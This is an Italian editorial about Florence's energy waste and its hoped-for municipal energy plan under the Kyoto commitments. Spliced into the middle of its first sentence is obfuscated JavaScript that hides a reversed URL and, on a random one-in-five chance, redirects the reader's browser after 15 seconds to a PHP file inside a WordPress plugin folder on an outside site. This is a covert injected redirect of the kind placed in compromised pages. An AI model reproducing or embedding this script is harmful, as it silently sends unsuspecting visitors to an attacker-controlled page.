Bolletta doppia

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È passato più di un anno da qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando il Consiglio Comunale di Firenze approvava un ordine del giorno sull’applicazione del protocollo di Kyoto. In questo atto si prevedeva tra l’altro “l’approvazione di un Piano Energetico Comunale, l’utilizzo di procedure di risparmio energetico e di fonti energetiche rinnovabili nella realizzazione di nuovi edifici ed il ricorso a società specializzate (ESCO) per la sostituzione gratuita di impianti semaforici, di illuminazione con analoghi a minor consumo”. Il Consiglio Comunale, con l’approvazione di questo ordine d’orientamento per la Giunta, invitava l’amministrazione ad impegnarsi “nella riduzione della produzione di ossido di carbonio nella nostra città, nella riduzione dei consumi energetici, nel risparmio e nell’utilizzo più razionale dell’energia”.
Come leggerete nelle pagine seguenti, se qualcosina è stato fatto, parecchio resta ancora da fare. Gli interventi realizzati, per quanto lodevoli e importanti, hanno una ricaduta pressoché simbolica sul bilancio energetico della città. Questo perché si tratta di interventi molto circoscritti, di azioni che non “aggrediscono” con un piano complessivo gli sprechi energetici di Firenze.
Firenze – come altre città – sconta ora, nelle proprie casse e nella propria aria, anni di politiche nazionali spensierate dal punto di vista dell’energia. Anni in cui per esempio si è continuato a progettare e costruire le città senza considerare a sufficienza quei parametri di sostenibilità ed ecoefficienza che ora sono drammaticamente urgenti.
Abbiamo quindi interi quartieri riscaldati più fuori che dentro, tanta è la dispersione del calore dagli appartamenti. Appartamenti che per la stessa ragione diventano forni d’estate, quando i condizionatori accesi al massimo contribuiscono ad innalzare la temperatura esterna, dove non c’è neanche un po’ di verde a fare ombra e frescura…
Agli errori politici si somma il malcostume di considerare ciò che è di tutti come fosse di nessuno, per cui negli uffici pubblici come nelle aziende è normale che si cuocia o si congeli, alla faccia di tutti gli indici di benessere e delle raccomandazioni sanitarie, tenendo magari tutte le luci accese a spese del contribuente. Impiegati in maglietta a gennaio, uffici illuminati a giorno in orario di chiusura, auto e pullman in doppia fila col motore acceso… tutti spettacoli che nell’epoca di Kyoto sono un vero insulto al buon senso. Quanto ci piacerebbe che una delibera comunale potesse impedire questi e altri sprechi!
Ma invece di sognare ad occhi aperti, aspettiamo con ansia e fiducia la stesura del Piano Energetico Ambientale Comunale, il PEAC.
Forse da lì scaturirà quella politica complessiva che, in coerenza con Kyoto e con gli indirizzi della Regione e dell’Europa, prenderà di petto il problema dello spreco di energia, oggi primo indispensabile passo in carico alle amministrazioni locali che, tra l’altro, hanno anche la necessità stringente di contenere costi energetici sempre più esorbitanti.
E allora forse potremo assistere a una campagna capillare di informazione e incentivazione relativa agli impianti di riscaldamento, responsabili per Firenze del maggior consumo/spreco di energia.
Forse vedremo la razionalizzazione del trasporto pubblico all’insegna dell’ecoefficienza.
Forse vedremo i semafori a led, che consumano meno e durano di più, o i parchimetri alimentati da pannelli solari.
Forse ci sarà possibile spostarci agevolmente in bicicletta o col bus elettrico o a metano.
Forse vedremo sorgere nell’area di Castello tutti edifici certificati classe A, ricoperti da fioriture di pannelli solari…
Forse… ops, scusate, stavamo sognando di nuovo.

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